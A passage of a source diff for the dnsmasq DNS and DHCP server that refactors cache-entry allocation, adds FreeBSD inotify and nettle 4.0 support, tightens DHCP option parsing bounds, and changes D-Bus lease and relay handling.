cache->flags = flags;
cache->ttd = daemon->local_ttl;
add_hosts_entry(cache, &addr, addrlen, index, rhash, hashsz);
name_count++;
names_done++;
}
}
free(canon);
}
@@ -1489,7 +1606,7 @@ void cache_reload(void)
if (cache->flags & (F_HOSTS | F_CONFIG))
{
*up = cache->hash_next;
free(cache);
free_config_crec(cache);
}
else if (!(cache->flags & F_DHCP))
{
@@ -1504,11 +1621,13 @@ void cache_reload(void)
else
up = &cache->hash_next;
}
free_names(UID_NONE); /* free everything */
/* Add locally-configured CNAMEs to the cache */
for (a = daemon->cnames; a; a = a->next)
if (a->alias[1] != '*' &&
((cache = whine_malloc(SIZEOF_POINTER_CREC))))
((cache = get_config_crec())))
{
cache->flags = F_FORWARD | F_NAMEP | F_CNAME | F_IMMORTAL | F_CONFIG;
cache->ttd = a->ttl;
@@ -1522,25 +1641,30 @@ void cache_reload(void)
#ifdef HAVE_DNSSEC
for (ds = daemon->ds; ds; ds = ds->next)
if ((cache = whine_malloc(SIZEOF_POINTER_CREC)) &&
(cache->addr.ds.keydata = blockdata_alloc(ds->digest, ds->digestlen)))
if (ds->name && (cache = get_config_crec()))
{
cache->flags = F_FORWARD | F_IMMORTAL | F_DS | F_CONFIG | F_NAMEP;
cache->ttd = daemon->local_ttl;
cache->name.namep = ds->name;
cache->uid = ds->class;
if (ds->digestlen != 0)
{
cache->addr.ds.keylen = ds->digestlen;
cache->addr.ds.algo = ds->algo;
cache->addr.ds.keytag = ds->keytag;
cache->addr.ds.digest = ds->digest_type;
}
else
cache->flags |= F_NEG | F_DNSSECOK | F_NO_RR;
cache_hash(cache);
make_non_terminals(cache);
if (!(cache->addr.ds.keydata = blockdata_alloc(ds->digest, ds->digestlen)))
free_config_crec(cache);
else
{
cache->flags = F_FORWARD | F_IMMORTAL | F_DS | F_CONFIG | F_NAMEP;
cache->ttd = daemon->local_ttl;
cache->name.namep = ds->name;
cache->uid = ds->class;
if (ds->digestlen != 0)
{
cache->addr.ds.keylen = ds->digestlen;
cache->addr.ds.algo = ds->algo;
cache->addr.ds.keytag = ds->keytag;
cache->addr.ds.digest = ds->digest_type;
}
else
cache->flags |= F_NEG | F_DNSSECOK | F_NO_RR;
cache_hash(cache);
make_non_terminals(cache);
}
}
#endif
@@ -1555,7 +1679,7 @@ void cache_reload(void)
for (nl = hr->names; nl; nl = nl->next)
{
if ((hr->flags & HR_4) &&
(cache = whine_malloc(SIZEOF_POINTER_CREC)))
(cache = get_config_crec()))
{
cache->name.namep = nl->name;
cache->ttd = hr->ttl;
@@ -1564,7 +1688,7 @@ void cache_reload(void)
}
if ((hr->flags & HR_6) &&
(cache = whine_malloc(SIZEOF_POINTER_CREC)))
(cache = get_config_crec()))
{
cache->name.namep = nl->name;
cache->ttd = hr->ttl;
@@ -1656,8 +1780,7 @@ void cache_unhash_dhcp(void)
if (cache->flags & F_DHCP)
{
*up = cache->hash_next;
cache->next = dhcp_spare;
dhcp_spare = cache;
free_config_crec(cache);
}
else
up = &cache->hash_next;
@@ -1708,7 +1831,7 @@ void cache_add_dhcp_entry(char *host_name, int prot,
/* Name in hosts, address doesn't match */
if (fail_crec)
{
inet_ntop(prot, &fail_crec->addr, daemon->namebuff, MAXDNAME);
inet_ntop(prot, &fail_crec->addr, daemon->namebuff, MAXDNAMESTR);
my_syslog(MS_DHCP | LOG_WARNING,
_("not giving name %s to the DHCP lease of %s because "
"the name exists in %s with address %s"),
@@ -1728,12 +1851,7 @@ void cache_add_dhcp_entry(char *host_name, int prot,
else
flags |= F_REVERSE;
if ((crec = dhcp_spare))
dhcp_spare = dhcp_spare->next;
else /* need new one */
crec = whine_malloc(SIZEOF_POINTER_CREC);
if (crec) /* malloc may fail */
if ((crec = get_config_crec()))
{
crec->flags = flags | F_NAMEP | F_DHCP | F_FORWARD;
if (ttd == 0)
@@ -1780,15 +1898,7 @@ static void make_non_terminals(struct crec *source)
hostname_isequal(name, cache_get_name(crecp)))
{
*up = crecp->hash_next;
#ifdef HAVE_DHCP
if (type & F_DHCP)
{
crecp->next = dhcp_spare;
dhcp_spare = crecp;
}
else
#endif
free(crecp);
free_config_crec(crecp);
break;
}
else
@@ -1821,17 +1931,7 @@ static void make_non_terminals(struct crec *source)
continue;
}
#ifdef HAVE_DHCP
if ((source->flags & F_DHCP) && dhcp_spare)
{
crecp = dhcp_spare;
dhcp_spare = dhcp_spare->next;
}
else
#endif
crecp = whine_malloc(SIZEOF_POINTER_CREC);
if (crecp)
if ((crecp = get_config_crec()))
{
crecp->flags = (source->flags | F_NAMEP) & ~(F_IPV4 | F_IPV6 | F_CNAME | F_RR | F_DNSKEY | F_DS | F_REVERSE);
if (!(crecp->flags & F_IMMORTAL))
@@ -2160,9 +2260,9 @@ static char *querystr(char *desc, unsigned short type)
unsigned int i;
int len = 10; /* strlen("type=xxxxx") */
const char *types = NULL;
static char *buff = NULL;
static int bufflen = 0;
static struct iovec buff = { NULL, 0 };
char *buffp;
for (i = 0; i < (sizeof(typestr)/sizeof(typestr[0])); i++)
if (typestr[i].type == type)
{
@@ -2177,37 +2277,28 @@ static char *querystr(char *desc, unsigned short type)
len += strlen(desc);
}
len++; /* terminator */
if (!buff || bufflen < len)
{
if (buff)
free(buff);
else if (len < 20)
len = 20;
buff = whine_malloc(len);
bufflen = len;
}
if (buff)
if (!expand_buf(&buff, len))
return "";
buffp = buff.iov_base;
if (desc)
{
if (desc)
{
if (types)
sprintf(buff, "%s[%s]", desc, types);
else
sprintf(buff, "%s[type=%d]", desc, type);
}
if (types)
sprintf(buffp, "%s[%s]", desc, types);
else
{
if (types)
sprintf(buff, "<%s>", types);
else
sprintf(buff, "<type=%d>", type);
}
sprintf(buffp, "%s[type=%d]", desc, type);
}
else
{
if (types)
sprintf(buffp, "<%s>", types);
else
sprintf(buffp, "<type=%d>", type);
}
return buff ? buff : "";
return buffp;
}
static char *edestr(int ede)
@@ -2244,10 +2335,20 @@ static char *edestr(int ede)
case EDE_UNS_NS3_ITER: return "unsupported NSEC3 iterations value";
case EDE_UNABLE_POLICY: return "uanble to conform to policy";
case EDE_SYNTHESIZED: return "synthesized";
case EDE_US_SERVFAIL: return "upstream returned SERVFAIL";
default: return "unknown";
}
}
static int error_occurred(unsigned int flags) {
if (flags & F_RCODE)
return 1;
else if (flags & F_NEG)
return 1;
else
return 0;
}
void log_query(unsigned int flags, char *name, union all_addr *addr, char *arg, unsigned short type)
{
char *source, *dest;
@@ -2260,12 +2361,15 @@ void log_query(unsigned int flags, char *name, union all_addr *addr, char *arg,
if (!option_bool(OPT_LOG))
return;
/* F_NOERR is reused here to indicate logs arrising from auth queries */
if(option_bool(OPT_LOG_ONLY_FAILED) && !error_occurred(flags))
return;
/* F_NOERR is reused here to indicate logs arising from auth queries */
if (!(flags & F_NOERR) && option_bool(OPT_AUTH_LOG))
return;
/* build query type string if requested */
if (!(flags & (F_SERVER | F_IPSET | F_QUERY)) && type > 0)
if (!(flags & (F_SERVER | F_IPSET | F_QUERY | F_KEYTAG | F_RR)) && type > 0)
arg = querystr(arg, type);
dest = arg;
@@ -2281,19 +2385,25 @@ void log_query(unsigned int flags, char *name, union all_addr *addr, char *arg,
{
dest = daemon->addrbuff;
if (flags & F_RR)
{
if (flags & F_KEYTAG)
dest = querystr(NULL, addr->rrblock.rrtype);
else
dest = querystr(NULL, addr->rrdata.rrtype);
}
else if (flags & F_KEYTAG)
sprintf(daemon->addrbuff, arg, addr->log.keytag, addr->log.algo, addr->log.digest);
if (flags & F_RR)
{
if (flags & F_KEYTAG)
dest = querystr(NULL, addr->rrblock.rrtype);
else
dest = querystr(NULL, addr->rrdata.rrtype);
}
#ifdef HAVE_DNSSEC
else if (flags & F_KEYTAG)
{
snprintf(daemon->addrbuff, ADDRSTRLEN, arg, addr->log.keytag, addr->log.algo, addr->log.digest);
if (type)
extra = " (not supported)";
}
#endif
else if (flags & F_RCODE)
{
unsigned int rcode = addr->log.rcode;
if (rcode == SERVFAIL)
dest = "SERVFAIL";
else if (rcode == REFUSED)
+15 -6
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -15,13 +15,14 @@
*/
#define FTABSIZ 150 /* max number of outstanding requests (default) */
#define MAX_PROCS 20 /* default max no children for TCP requests */
#define MAX_PROCS 30 /* default max no children for TCP requests */
#define CHILD_LIFETIME 150 /* secs 'till terminated (RFC1035 suggests > 120s) */
#define TCP_MAX_QUERIES 100 /* Maximum number of queries per incoming TCP connection */
#define TCP_TIMEOUT 5 /* timeout waiting to connect to an upstream server - double this for answer */
#define TCP_BACKLOG 32 /* kernel backlog limit for TCP connections */
#define EDNS_PKTSZ 1232 /* default max EDNS.0 UDP packet from from /dnsflagday.net/2020 */
#define KEYBLOCK_LEN 40 /* choose to minimise fragmentation when storing DNSSEC keys */
#define NAMEBLOCK_CHARS 1500 /* quantum of memory allocation for names from /etc/hosts */
#define DNSSEC_LIMIT_WORK 40 /* Max number of queries to validate one question */
#define DNSSEC_LIMIT_SIG_FAIL 20 /* Number of signature that can fail to validate in one answer */
#define DNSSEC_LIMIT_CRYPTO 200 /* max no. of crypto operations to validate one query. */
@@ -42,7 +43,7 @@
#define PING_CACHE_TIME 30 /* Ping test assumed to be valid this long. */
#define DECLINE_BACKOFF 600 /* disable DECLINEd static addresses for this long */
#define DHCP_PACKET_MAX 16384 /* hard limit on DHCP packet size */
#define SMALLDNAME 50 /* most domain names are smaller than this */
#define SMALLDNAME 75 /* most domain names are smaller than this */
#define CNAME_CHAIN 10 /* chains longer than this atr dropped for loop protection */
#define DNSSEC_MIN_TTL 60 /* DNSKEY and DS records in cache last at least this long */
#define HOSTSFILE "/etc/hosts"
@@ -142,7 +143,8 @@ HAVE_LOOP
include functionality to probe for and remove DNS forwarding loops.
HAVE_INOTIFY
use the Linux inotify facility to efficiently re-read configuration files.
use the Linux and FreeBSD >= 15 inotify facility
to efficiently re-read configuration files.
NO_ID
Don't report *.bind CHAOS info to clients, forward such requests upstream instead.
@@ -375,8 +377,15 @@ HAVE_SOCKADDR_SA_LEN
#undef HAVE_DUMPFILE
#endif
#if defined (HAVE_LINUX_NETWORK) && !defined(NO_INOTIFY)
#define HAVE_INOTIFY
#if !defined(NO_INOTIFY)
# if defined (HAVE_LINUX_NETWORK)
# define HAVE_INOTIFY
# elif defined (__FreeBSD__) && __FreeBSD__ + 0 >= 15
# include <osreldate.h>
# if __FreeBSD_version >= 1500068 /* 15.0.0 */
# define HAVE_INOTIFY
# endif
# endif
#endif
/* This never compiles code, it's only used by the makefile to fingerprint builds. */
+1 -1
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
+27 -8
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -93,7 +93,15 @@ static void null_hash_update(void *ctxv, size_t length, const uint8_t *src)
memcpy(null_hash_buff + ctx->len, src, length);
ctx->len += length;
}
/* The prototype changes in nettle 4.0 to omit the length argument */
#if MIN_VERSION(4, 0)
static void null_hash_digest(void *ctx, uint8_t *dst)
{
((struct null_hash_digest *)dst)->buff = null_hash_buff;
((struct null_hash_digest *)dst)->len = ((struct null_hash_ctx *)ctx)->len;
}
#else
static void null_hash_digest(void *ctx, size_t length, uint8_t *dst)
{
(void)length;
@@ -101,6 +109,7 @@ static void null_hash_digest(void *ctx, size_t length, uint8_t *dst)
((struct null_hash_digest *)dst)->buff = null_hash_buff;
((struct null_hash_digest *)dst)->len = ((struct null_hash_ctx *)ctx)->len;
}
#endif
static struct nettle_hash null_hash = {
"null_hash",
@@ -126,20 +135,18 @@ int hash_init(const struct nettle_hash *hash, void **ctxp, unsigned char **diges
if (ctx_sz < hash->context_size)
{
if (!(new = whine_malloc(hash->context_size)))
if (!(new = whine_realloc(ctx, hash->context_size)))
return 0;
if (ctx)
free(ctx);
ctx = new;
ctx_sz = hash->context_size;
}
if (digest_sz < hash->digest_size)
{
if (!(new = whine_malloc(hash->digest_size)))
if (!(new = whine_realloc(digest, hash->digest_size)))
return 0;
if (digest)
free(digest);
digest = new;
digest_sz = hash->digest_size;
}
@@ -503,4 +510,16 @@ const struct nettle_hash *hash_find(char *name)
#endif
}
/* The prototype changes in nettle 4.0 to omit the length argument */
void nettle_digest_wrapper(const struct nettle_hash *hash, void *ctx, size_t length, uint8_t *dst)
{
#if MIN_VERSION(4, 0)
(void)length;
hash->digest(ctx, dst);
#else
hash->digest(ctx, length, dst);
#endif
}
#endif /* defined(HAVE_DNSSEC) */
+24 -11
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -530,8 +530,8 @@ static DBusMessage *dbus_add_lease(DBusMessage* message)
union all_addr addr;
time_t now = dnsmasq_time();
unsigned char dhcp_chaddr[DHCP_CHADDR_MAX];
DBusMessageIter iter, array_iter;
if (!dbus_message_iter_init(message, &iter))
return dbus_message_new_error(message, DBUS_ERROR_INVALID_ARGS,
"Failed to initialize dbus message iter");
@@ -599,6 +599,10 @@ static DBusMessage *dbus_add_lease(DBusMessage* message)
if (inet_pton(AF_INET, ipaddr, &addr.addr4))
{
if (!daemon->dhcp)
return dbus_message_new_error(message, DBUS_ERROR_INVALID_ARGS,
"DHCPv4 not configured");
if (ia_id != 0 || is_temporary)
return dbus_message_new_error(message, DBUS_ERROR_INVALID_ARGS,
"ia_id and is_temporary must be zero for IPv4 lease");
@@ -609,16 +613,25 @@ static DBusMessage *dbus_add_lease(DBusMessage* message)
#ifdef HAVE_DHCP6
else if (inet_pton(AF_INET6, ipaddr, &addr.addr6))
{
if (!daemon->doing_dhcp6)
return dbus_message_new_error(message, DBUS_ERROR_INVALID_ARGS,
"DHCPv6 not configured");
if (!(lease = lease6_find_by_addr(&addr.addr6, 128, 0)))
lease = lease6_allocate(&addr.addr6,
is_temporary ? LEASE_TA : LEASE_NA);
lease_set_iaid(lease, ia_id);
if (lease)
lease_set_iaid(lease, ia_id);
}
#endif
else
return dbus_message_new_error_printf(message, DBUS_ERROR_INVALID_ARGS,
"Invalid IP address '%s'", ipaddr);
if (!lease)
return dbus_message_new_error_printf(message, DBUS_ERROR_INVALID_ARGS,
"unable to allocate lease for IP address '%s'", ipaddr);
hw_len = parse_hex((char*)hwaddr, dhcp_chaddr, DHCP_CHADDR_MAX, NULL, &hw_type);
if (hw_len < 0)
return dbus_message_new_error_printf(message, DBUS_ERROR_INVALID_ARGS,
@@ -641,7 +654,7 @@ static DBusMessage *dbus_add_lease(DBusMessage* message)
static DBusMessage *dbus_del_lease(DBusMessage* message)
{
struct dhcp_lease *lease;
struct dhcp_lease *lease = NULL;
DBusMessageIter iter;
const char *ipaddr;
DBusMessage *reply;
@@ -659,10 +672,10 @@ static DBusMessage *dbus_del_lease(DBusMessage* message)
dbus_message_iter_get_basic(&iter, &ipaddr);
if (inet_pton(AF_INET, ipaddr, &addr.addr4))
if (inet_pton(AF_INET, ipaddr, &addr.addr4) && daemon->dhcp)
lease = lease_find_by_addr(addr.addr4);
#ifdef HAVE_DHCP6
else if (inet_pton(AF_INET6, ipaddr, &addr.addr6))
else if (inet_pton(AF_INET6, ipaddr, &addr.addr6) && daemon->doing_dhcp6)
lease = lease6_find_by_addr(&addr.addr6, 128, 0);
#endif
else
@@ -723,7 +736,7 @@ static void add_dict_entry(DBusMessageIter *container, const char *key, const ch
static void add_dict_int(DBusMessageIter *container, const char *key, const unsigned int val)
{
snprintf(daemon->namebuff, MAXDNAME, "%u", val);
snprintf(daemon->namebuff, MAXDNAMESTR, "%u", val);
add_dict_entry(container, key, daemon->namebuff);
}
@@ -1042,7 +1055,7 @@ void emit_dbus_signal(int action, struct dhcp_lease *lease, char *hostname)
DBusConnection *connection = (DBusConnection *)daemon->dbus;
DBusMessage* message = NULL;
DBusMessageIter args;
char *action_str, *mac = daemon->namebuff;
char *action_str, *mac;
unsigned char *p;
int i;
@@ -1055,7 +1068,7 @@ void emit_dbus_signal(int action, struct dhcp_lease *lease, char *hostname)
#ifdef HAVE_DHCP6
if (lease->flags & (LEASE_TA | LEASE_NA))
{
print_mac(mac, lease->clid, lease->clid_len);
mac = print_mac(lease->clid, lease->clid_len);
inet_ntop(AF_INET6, &lease->addr6, daemon->addrbuff, ADDRSTRLEN);
}
else
@@ -1063,7 +1076,7 @@ void emit_dbus_signal(int action, struct dhcp_lease *lease, char *hostname)
{
p = extended_hwaddr(lease->hwaddr_type, lease->hwaddr_len,
lease->hwaddr, lease->clid_len, lease->clid, &i);
print_mac(mac, p, i);
mac = print_mac(p, i);
inet_ntop(AF_INET, &lease->addr, daemon->addrbuff, ADDRSTRLEN);
}
+51 -17
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -278,9 +278,9 @@ void log_tags(struct dhcp_netid *netid, u32 xid)
if (!n)
{
strncat (s, netid->net, (MAXDNAME-1) - strlen(s));
strncat (s, netid->net, MAXDNAMESTR - strlen(s));
if (netid->next)
strncat (s, ", ", (MAXDNAME-1) - strlen(s));
strncat (s, ", ", MAXDNAMESTR - strlen(s));
}
}
my_syslog(MS_DHCP | LOG_INFO, _("%u tags: %s"), xid, s);
@@ -709,7 +709,8 @@ static const struct opttab_t {
{ "client-machine-id", 97, 0 },
{ "posix-timezone", 100, OT_NAME }, /* RFC 4833, Sec. 2 */
{ "tzdb-timezone", 101, OT_NAME }, /* RFC 4833, Sec. 2 */
{ "ipv6-only", 108, 4 | OT_DEC }, /* RFC 8925 */
{ "ipv6-only", 108, 4 | OT_DEC }, /* RFC 8925 */
{ "captive-portal", 114, OT_NAME }, /* RFC 8910 */
{ "subnet-select", 118, OT_INTERNAL },
{ "domain-search", 119, OT_RFC1035_NAME },
{ "sip-server", 120, 0 },
@@ -733,7 +734,7 @@ static const struct opttab_t opttab6[] = {
{ "status", 13, OT_INTERNAL },
{ "rapid-commit", 14, OT_INTERNAL },
{ "user-class", 15, OT_INTERNAL | OT_CSTRING },
{ "vendor-class", 16, OT_INTERNAL | OT_CSTRING },
{ "vendor-class", 16, OT_DHCP6_VENDOR },
{ "vendor-opts", 17, OT_INTERNAL },
{ "sip-server-domain", 21, OT_RFC1035_NAME },
{ "sip-server", 22, OT_ADDR_LIST },
@@ -751,6 +752,7 @@ static const struct opttab_t opttab6[] = {
{ "ntp-server", 56, 0 /* OT_ADDR_LIST | OT_RFC1035_NAME */ },
{ "bootfile-url", 59, OT_NAME },
{ "bootfile-param", 60, OT_CSTRING },
{ "captive-portal", 103, OT_NAME }, /* RFC 8910 */
{ NULL, 0, 0 }
};
#endif
@@ -880,7 +882,7 @@ char *option_string(int prot, unsigned int opt, unsigned char *val, int opt_len,
buf[j++] = c;
}
i = l;
if (val[i] != 0 && j < buf_len)
if (i < opt_len && val[i] != 0 && j < buf_len)
buf[j++] = '.';
}
}
@@ -890,24 +892,54 @@ char *option_string(int prot, unsigned int opt, unsigned char *val, int opt_len,
unsigned char *p;
i = 0, j = 0;
while (1)
while (i + 2 <= opt_len)
{
p = &val[i];
GETSHORT(len, p);
if (i + 2 + len > opt_len)
break; /* malformed: body extends beyond option */
for (k = 0; k < len && j < buf_len; k++)
{
char c = *p++;
if (isprint((unsigned char)c))
buf[j++] = c;
}
i += len +2;
if (i >= opt_len)
break;
if (j < buf_len)
i += len + 2;
if (i < opt_len && j < buf_len)
buf[j++] = ',';
}
}
}
else if ((ot[o].size & OT_DHCP6_VENDOR))
{
unsigned int enterprise;
unsigned char *p = &val[0];
if (opt_len >= 4)
{
GETLONG(enterprise, p);
snprintf(buf, buf_len, "%u", enterprise);
j = strlen(buf);
i = 4;
while (i + 2 <= opt_len)
{
int k, len;
p = &val[i];
GETSHORT(len, p);
if (i + 2 + len > opt_len)
break;
if (j < buf_len - 1)
buf[j++] = ',';
for (k = 0; k < len && j < buf_len - 1; k++)
{
char c = *p++;
if (isprint((unsigned char)c))
buf[j++] = c;
}
buf[j] = 0;
i += len + 2;
}
}
}
#endif
else if ((ot[o].size & (OT_DEC | OT_TIME)) && opt_len != 0)
{
@@ -935,11 +967,11 @@ char *option_string(int prot, unsigned int opt, unsigned char *val, int opt_len,
trunc = 1;
opt_len = 14;
}
print_mac(buf, val, opt_len);
*buf = 0;
strncat(buf, print_mac(val, opt_len), buf_len);
if (trunc)
strncat(buf, "...", buf_len - strlen(buf));
}
return ot[o].name ? ot[o].name : "";
@@ -1067,10 +1099,12 @@ void log_relay(int family, struct dhcp_relay *relay)
{
if (broadcast)
my_syslog(MS_DHCP | LOG_INFO, _("DHCP relay from %s via %s"), daemon->addrbuff, relay->interface);
else if (relay->split_mode)
my_syslog(MS_DHCP | LOG_INFO, _("DHCP split-relay from %s to %s via %s"), daemon->addrbuff, daemon->namebuff, relay->interface);
else
my_syslog(MS_DHCP | LOG_INFO, _("DHCP relay from %s to %s via %s"), daemon->addrbuff, daemon->namebuff, relay->interface);
}
else
else
my_syslog(MS_DHCP | LOG_INFO, _("DHCP relay from %s to %s"), daemon->addrbuff, daemon->namebuff);
}
+2 -1
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -73,6 +73,7 @@
#define SUBOPT_REMOTE_ID 2
#define SUBOPT_SUBNET_SELECT 5 /* RFC 3527 */
#define SUBOPT_SUBSCR_ID 6 /* RFC 3393 */
#define SUBOPT_FLAGS 10 /* RFC 5010 */
#define SUBOPT_SERVER_OR 11 /* RFC 5107 */
#define SUBOPT_PXE_BOOT_ITEM 71 /* PXE standard */
+56 -143
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -32,8 +32,6 @@ static int complete_context(struct in_addr local, int if_index, char *label,
struct in_addr netmask, struct in_addr broadcast, void *vparam);
static int check_listen_addrs(struct in_addr local, int if_index, char *label,
struct in_addr netmask, struct in_addr broadcast, void *vparam);
static void relay_upstream4(int iface_index, struct dhcp_packet *mess, size_t sz);
static struct dhcp_relay *relay_reply4(struct dhcp_packet *mess, char *arrival_interface);
static int make_fd(int port)
{
@@ -144,13 +142,14 @@ void dhcp_packet(time_t now, int pxe_fd)
struct iovec iov;
ssize_t sz;
int iface_index = 0, unicast_dest = 0, is_inform = 0, loopback = 0;
int rcvd_iface_index;
int rcvd_iface_index, relay_index;
struct in_addr iface_addr;
struct iface_param parm;
time_t recvtime = now;
#ifdef HAVE_LINUX_NETWORK
struct arpreq arp_req;
struct timeval tv;
struct in_addr dst_addr;
#endif
union {
@@ -176,13 +175,11 @@ void dhcp_packet(time_t now, int pxe_fd)
(sz < (ssize_t)(sizeof(*mess) - sizeof(mess->options))))
return;
#ifdef HAVE_DUMPFILE
dump_packet_udp(DUMP_DHCP, (void *)daemon->dhcp_packet.iov_base, sz, (union mysockaddr *)&dest, NULL, fd);
#endif
#if defined (HAVE_LINUX_NETWORK)
if (ioctl(fd, SIOCGSTAMP, &tv) == 0)
recvtime = tv.tv_sec;
dst_addr.s_addr = 0;
if (msg.msg_controllen >= sizeof(struct cmsghdr))
for (cmptr = CMSG_FIRSTHDR(&msg); cmptr; cmptr = CMSG_NXTHDR(&msg, cmptr))
@@ -194,7 +191,8 @@ void dhcp_packet(time_t now, int pxe_fd)
} p;
p.c = CMSG_DATA(cmptr);
iface_index = p.p->ipi_ifindex;
if (p.p->ipi_addr.s_addr != INADDR_BROADCAST)
dst_addr = p.p->ipi_addr;
if (dst_addr.s_addr != INADDR_BROADCAST)
unicast_dest = 1;
}
@@ -224,7 +222,25 @@ void dhcp_packet(time_t now, int pxe_fd)
iface_index = *(p.i);
}
#endif
#ifdef HAVE_DUMPFILE
union mysockaddr *sockp = NULL;
# ifdef HAVE_LINUX_NETWORK
union mysockaddr tosock;
sockp = &tosock;
tosock.in.sin_port = htons(daemon->dhcp_server_port);
tosock.in.sin_addr = dst_addr;
tosock.sa.sa_family = AF_INET;
# ifdef HAVE_SOCKADDR_SA_LEN
tosock.in.sin_len = sizeof(struct sockaddr_in);
# endif
# endif
dump_packet_udp(DUMP_DHCP, (void *)daemon->dhcp_packet.iov_base, sz, (union mysockaddr *)&dest, sockp, -1);
#endif
if (!indextoname(daemon->dhcpfd, iface_index, ifr.ifr_name) ||
ioctl(daemon->dhcpfd, SIOCGIFFLAGS, &ifr) != 0)
return;
@@ -286,10 +302,10 @@ void dhcp_packet(time_t now, int pxe_fd)
unicast_dest = 1;
#endif
if ((relay = relay_reply4((struct dhcp_packet *)daemon->dhcp_packet.iov_base, ifr.ifr_name)))
if ((relay_index = relay_reply4((struct dhcp_packet *)daemon->dhcp_packet.iov_base, (size_t)sz, ifr.ifr_name)))
{
/* Reply from server, using us as relay. */
rcvd_iface_index = relay->iface_index;
rcvd_iface_index = relay_index;
if (!indextoname(daemon->dhcpfd, rcvd_iface_index, ifr.ifr_name))
return;
is_relay_reply = 1;
@@ -314,9 +330,12 @@ void dhcp_packet(time_t now, int pxe_fd)
if (tmp->name && (tmp->flags & INAME_4) && wildcard_match(tmp->name, ifr.ifr_name))
return;
/* unlinked contexts/relays are marked by context->current == context */
/* unlinked contexts are marked by context->current == context */
for (context = daemon->dhcp; context; context = context->next)
context->current = context;
for (relay = daemon->relay4; relay; relay = relay->next)
relay->matchcount = 0;
parm.current = NULL;
parm.ind = iface_index;
@@ -344,7 +363,7 @@ void dhcp_packet(time_t now, int pxe_fd)
if (!iface_enumerate(AF_INET, &parm, (callback_t){.af_inet=complete_context}))
return;
relay_upstream4(iface_index, mess, (size_t)sz);
relay_upstream4(iface_addr, iface_index, mess, (size_t)sz, unicast_dest);
/* May have configured relay, but not DHCP server */
if (!daemon->dhcp)
@@ -380,7 +399,7 @@ void dhcp_packet(time_t now, int pxe_fd)
if (mess->ciaddr.s_addr != 0)
dest.sin_addr = mess->ciaddr;
}
if ((is_relay_use_source || mess->giaddr.s_addr) && !is_relay_reply)
else if ((is_relay_use_source || mess->giaddr.s_addr) && !is_relay_reply)
{
/* Send to BOOTP relay. */
if (is_relay_use_source)
@@ -648,8 +667,19 @@ static int complete_context(struct in_addr local, int if_index, char *label,
}
for (relay = daemon->relay4; relay; relay = relay->next)
if (relay->local.addr4.s_addr == local.s_addr)
relay->iface_index = if_index;
if (!relay->split_mode && relay->local.addr4.s_addr == local.s_addr)
{
if (if_index == param->ind)
relay->iface_index = if_index;
/* More than one interface with the relay address breaks things. */
if (relay->matchcount++ == 1 && !relay->warned)
{
relay->warned = 1;
inet_ntop(AF_INET, &local, daemon->addrbuff, ADDRSTRLEN);
my_syslog(MS_DHCP | LOG_WARNING, _("DHCP relay address %s appears on more than one interface"), daemon->addrbuff);
}
}
return 1;
}
@@ -666,7 +696,7 @@ struct dhcp_context *address_available(struct dhcp_context *context,
struct dhcp_context *tmp;
for (tmp = context; tmp; tmp = tmp->current)
if (taddr.s_addr == context->router.s_addr)
if (taddr.s_addr == tmp->router.s_addr)
return NULL;
for (tmp = context; tmp; tmp = tmp->current)
@@ -895,7 +925,8 @@ void dhcp_read_ethers(void)
{
FILE *f = fopen(ETHERSFILE, "r");
unsigned int flags;
char *buff = daemon->namebuff;
size_t linesz = 0;
char *line = NULL;
char *ip, *cp;
struct in_addr addr;
unsigned char hwaddr[ETHER_ADDR_LEN];
@@ -928,22 +959,22 @@ void dhcp_read_ethers(void)
up = &config->next;
}
while (fgets(buff, MAXDNAME, f))
while (get_line_alloc(f, &line, &linesz))
{
char *host = NULL;
lineno++;
while (strlen(buff) > 0 && isspace((unsigned char)buff[strlen(buff)-1]))
buff[strlen(buff)-1] = 0;
while (strlen(line) > 0 && isspace((unsigned char)line[strlen(line)-1]))
line[strlen(line)-1] = 0;
if ((*buff == '#') || (*buff == '+') || (*buff == 0))
if ((*line == '#') || (*line == '+') || (*line == 0))
continue;
for (ip = buff; *ip && !isspace((unsigned char)*ip); ip++);
for (ip = line; *ip && !isspace((unsigned char)*ip); ip++);
for(; *ip && isspace((unsigned char)*ip); ip++)
*ip = 0;
if (!*ip || parse_hex(buff, hwaddr, ETHER_ADDR_LEN, NULL, NULL) != ETHER_ADDR_LEN)
if (!*ip || parse_hex(line, hwaddr, ETHER_ADDR_LEN, NULL, NULL) != ETHER_ADDR_LEN)
{
my_syslog(MS_DHCP | LOG_ERR, _("bad line at %s line %d"), ETHERSFILE, lineno);
continue;
@@ -1091,122 +1122,4 @@ char *host_from_dns(struct in_addr addr)
return NULL;
}
static void relay_upstream4(int iface_index, struct dhcp_packet *mess, size_t sz)
{
struct in_addr giaddr = mess->giaddr;
u8 hops = mess->hops;
struct dhcp_relay *relay;
if (mess->op != BOOTREQUEST)
return;
for (relay = daemon->relay4; relay; relay = relay->next)
if (relay->iface_index != 0 && relay->iface_index == iface_index)
break;
/* No relay config. */
if (!relay)
return;
for (; relay; relay = relay->next)
